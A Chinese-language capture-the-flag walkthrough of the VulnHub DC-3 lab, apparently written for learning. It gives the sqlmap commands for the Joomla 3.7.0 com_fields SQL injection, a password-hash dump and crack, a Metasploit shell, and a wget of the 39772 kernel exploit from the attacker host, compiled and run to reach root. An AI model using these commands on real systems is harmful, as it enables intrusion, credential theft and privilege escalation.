vulnhub靶场DC-3通关wp

靶场描述

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

这次的靶场描述是有一个flag和一个入口 同时也需要我们获取root权限

渗透靶场

一、信息搜集

和之前一样 设置的是NAT桥接模式 和渗透机共享ip 直接nmap扫描存活的主机

nmap 192.168.160.0/24

image-20231127223920923

发现80端口 找到靶机的ip地址

192.168.160.153

进一步扫一下端口信息

nmap -A -p- -v 192.168.160.153

image-20231127224442087

发现开放的端口很少 只有一个80端口 开放了web服务 使用Apache中间件 版本2.4.18

在使用whatweb进行CMS识别 在搜集一波信息

image-20231127225737501

发现应该是使用Joomla框架搭建的网站

二、访问web站点

直接访问192.168.160.153

image-20231127225320441

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge.  :-)

发现页面有登陆入口 也许是一个突破点

dirb扫目录

这里可以使用dirb扫一下目录

image-20231127231227172

扫到了一个登陆页面 访问一下

http://192.168.160.153/administrator/   

image-20231127231309195

是joomal框架后台登陆页面

三、joomla框架sql注入漏洞

1、msf扫漏洞

还是和之前一样 使用msf扫一下漏洞

image-20231127230604957

有很多rce的漏洞 包括反序列化 文件上传 sql注入

我们这里先用模块14扫一下joomla框架版本

image-20231127230732196

成功扫到框架版本是3.7.0

既然已经得到了框架版本 那就来看一下这个版本下的框架有什么东西

image-20231127231618785

看来是有sql注入的漏洞

2、使用joomlascan

(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。

安装

git clone https://github.com/rezasp/joomscan.git
cd joomscan

使用

perl joomla.pl --url 192.168.160.153

image-20231129112703991

其实在这个靶场中 和我们刚刚使用msf扫出来的信息差不太多 也是知道了后台登陆网址 joomla框架信息啥的

3、searchsploit扫sql注入漏洞脚本

学一下searchsploit的命令吧

searchsploit joomla 3.7.0 // 基本搜索
searchsploit -t joomla 3.7.0 // 标题搜索 只匹配标题 不匹配路径
searchsploit -m 42033.py // 复制到文件夹
searchsploit -p 42033.py // 显示了漏洞的完整路径

使用searchsploit找到了这个版本的joomla框架的sql注入漏洞利用脚本

image-20231129113754624

找一下漏洞利用脚本的完整路径

searchsploit -p 42033.py

image-20231129114414702

把这个文件复制到本地

┌──(kali㉿kali)-[~/桌面/joomscan]
└─$ cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 42033.py

查看一下

image-20231129114600939

看来是直接使用sqlmap自动工具进行攻击的 将Using sqlmap部分的ip改为靶机ip 进行sql注入

python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20231129123121878

扫出来五个数据库

available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

joomla框架搭建的网站默认数据库是joomladb 那我们接下来开始爆表名

python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

找到76个表

image-20231129163133461

image-20231129163224857

找到关键的__users表 看一下表中的字段

python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

一共有6个字段

image-20231129164401809

查看一下username passwordd 内容

python3 sqlmap.py -u "http://192.168.160.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C "username,password" --dump  -p list[fullordering]

image-20231129164901490

尝试爆一下密码

john --wordlist=password.lst --user=name hash out.txt 

得到snoopy

image-20231129165703984

四、登陆网站后台

使用admin/snoopy成功登陆网站后台

image-20231129170324489

五、拿到靶机shell

回到刚才msf扫漏洞

image-20231127231618785

发现是一个Joomla 组件字段 SQLi 远程代码执行 就用这个漏洞拿到shell

use 0
set RHOST 192.168.160.153
run
shell

image-20231129172705660

再创建一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

可以看到是www-data用户 这是一个低权限用户 想要看到root中的内容还是需要提权

image-20231129172919921

六、提权

有之前DC-1 DC-2的经验 尝试使用suid和git进行提权

首先找了拥有suid权限的命令

find / -type f -perm -u=s 2>dev/null

image-20231129173830949

然而之前提到的find vim cp的提权命令都没有 再看看能不能git提权

使用sudo -l看看具有root权限的命令有哪些

image-20231129174006935

但是在这个靶场中 我们找不到用户www-data的登陆密码 git提权也没法使用

系统漏洞提权

查看靶机的发行版本信息
cat /etc/*release
或
lsb_release -a

image-20231129183232534

image-20231129202536052

得知是Ubuntu 16.04版本

还是用searchsploit找漏洞

searchsploit Ubuntu 16.04

image-20231129183629093

这种都是权限升级的漏洞 选择39772.txt来进行提权

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在最下面找到exp文件下载路径

image-20231129210333215

建议是在本地下载下来 能解压的都解压 复制粘贴到攻击机上

下面开启Apache服务 将文件上传到本地的/var/www/html文件夹下

(再看wp的时候 我看说是DC-3没有外网 所以选择通过攻击机下载exp文件 但是我在自己试的时候发现是可以直接从39772.txt文件里面的链接下载的 有明白的大佬可以来找我交流一下)

systemctl start apache2.service
mv 39772.zip /var/www/html

将攻击机的文件下载到靶机中

wget http://192.168.160.150/39772.zip
// 注意这个url要是攻击机的ip

下好之后 进行解压

unzip 39772.zip
cd 39772
tar -xvf exploit.tar

image-20231129211808415

image-20231129211829335

进入/39772/ebpf_mapfd_doubleput_exploit文件夹下运行exp文件即可

./compile.sh
./doubleput

image-20231129213737033

拿到root权限 进入root文件夹 找到flag文件

 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

image-20231129214027919

总结

至此 DC-3拿下